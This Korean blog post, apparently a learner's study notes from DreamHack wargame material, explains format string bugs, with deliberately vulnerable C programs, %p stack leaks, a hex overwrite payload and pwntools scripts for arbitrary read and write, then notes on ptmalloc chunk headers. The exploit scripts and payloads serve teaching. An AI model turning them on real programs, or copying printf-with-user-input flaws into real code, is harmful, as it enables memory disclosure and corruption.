포맷 스트링 버그(Format String Bug, FSB)
함수가 포맷 스트링을 채울 때 인자의 개수를 검사하지 않아 발생하는 보안 취약점. 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
이로 인해 사용자가 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽거나 쓸 수 있다. 초기에는 위험성이 낮게 평가되었으나, 1999년에 이를 이용한 익스플로잇이 발표되면서 큰 위험으로 여겨지게 됨
| 형식 지정자 | |
| d | 부호있는 10진수 정수 |
| s | 문자열 |
| x | 부호없는 16진수 정수 |
| n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
| p | void형 포인터 |
width
최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 때 공백문자를 패딩해준다.
| 너비 지정자 | |
| 정수 | 정수의 값만큼을 최소 너비로 지정 |
| * | 인자의 값 만큼을 최소 너비로 지정 |

0x7fffffffdddc에 들어있는 값을 0xff (즉, 0x000000ff)로 바꾸는 것이 목표이다.
0x7fffffffdddc를 타겟으로 하는 페이로드를 구성하면 된다.
1차적으로는 %8$n , %7$n 등을 %8$p 와 같이 n만 p로 변경하여, 덮으려고 하는 목표 주소값이 잘 들어있는지 확인해주었다.(콘솔에 출력되는 값 = 0x7fffffffdddc)
Hex Encode에 체크 된 상태에서 dcddffffff7f00002532343663202539246e 를 입력하면 된다.
#include <stdio.h>
int main() {
char format[0x100];
int secret = 0x42;
printf("Format: ");
scanf("%255[^\n]", format); // Limit input to prevent buffer overflow
// Print the addresses on the stack using the user-provided format string
printf(format, &secret);
printf("\nSecret value: %x\n", secret);
return 0;
}

코드를 컴파일한 후 %p %p %p %p %p %p %p %p %p %p 를 입력하면,임의의 값이 출력된다.
printf 함수에 전달한 인자가 없는데 임의 값들이 출력된 이유!
10개의 인자를 필요로 하는 포맷스트링을 사용했기에 레지스터와 스택에 존재하는 값이 출력된 것이다. 출력된 값들은 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]임을 알 수 있다.

#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%255[^\n]%*c", format); // Read input and consume the newline character
printf(format, secret);
return 0;
}
fsb_arr.c
#!/usr/bin/python3
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
fsb_arr.py
위를 활용한다면... 포맷 스트링에 참조하고 싶은 주소를 넣고 %[n]$s 의 형식으로 그 주소의 데이터를 재 참조해 읽을 수 있다.
fsb_arr.py은 이를 보여주는 파이썬 PoC 코다.


#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", (void*)&secret);
printf("Format: ");
scanf("%255[^\n]%*c", format); // Read input and consume the newline character
printf(format, secret);
printf("\nSecret: %d\n", secret); // Print the actual value of `secret`
return 0;
}
fsb_aaw.c
#!/usr/bin/python3# Name: fsb_aaw.pyfrom pwn import *p = process("./fsb_aaw")p.recvuntil("`secret`: ")addr_secret = int(p.recvline()[:-1], 16)fstring = b"%31337c%8$n".ljust(16)fstring += p64(addr_secret)p.sendline(fstring)print(p.recvall())
#!/usr/bin/python3
# Name: fsb_aaw.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
fsb_aaw.py
청크
ptmalloc이 할당한 메모리 공간을 의미하며, 헤더와 데이터로 구성되어 있다. 헤더는 청크 관리에 필요한 정보를 담고 있으며, 데이터 영역에는 사용자가 입력한 데이터가 저장된다. 사용 중인 청크와 해제된 청크의 헤더는 상태에 따라 구조가 다르다. 사용 중인 청크는 fd와 bk를 사용하지 않고, 대신 해당 영역에 사용자가 입력한 데이터를 저장한다.
| 이름 | 크기 | 의미 |
| prev_size | 8바이트 | 인접한 직전 청크의 크기. 청크를 병합할 때 직전 청크를 찾는 데 사용 |
| size | 8바이트 | 현재 청크의 크기. 헤더의 크기도 포함한 값. 64비트 환경에서, 사용 중인 청크 헤더의 크기는 16바이트이므로 사용자가 요청한 크기를 정렬하고, 그 값에 16바이트를 더한 값이 됨 |
| flags | 3비트 | 64비트 환경에서 청크는 16바이트 단위로 할당되므로, size의 하위 4비트는 의미를 갖지 않음. 따라서, ptmalloc은 size의 하위 3비트를 청크 관리에 필요한 플래그 값으로 사용 각 플래그는 순서대로 allocated arena(A), mmap’d(M), prev-in-use(P)를 나타냄. prev-in-use 플래그는 직전 청크가 사용 중인지를 나타내므로, ptmalloc은 이 플래그를 참조하여 병합이 필요한지 판단할 수 있. |
| fd | 8바이트 | 연결 리스트에서 다음 청크를 가리킴. 해제된 청크에만 있음!!!!!! |
| bk | 8바이트 | 연결 리스트에서 이전 청크를 가리킴. 해제된 청크에만 있음!!!!!!! |
'Pwnable' 카테고리의 다른 글
| [DreamHack] Use After Free 문서화 (0) | 2023.11.14 |
|---|---|
| [DreamHack] ptmalloc2 문서화 (0) | 2023.11.14 |
| [Dreamhack] uaf_overwrite (0) | 2023.11.14 |
| [Dreamhack] basic_exploitation_002 (0) | 2023.11.13 |
| 스택 카나리, NX&ASLR, PLT&GOT (0) | 2023.09.26 |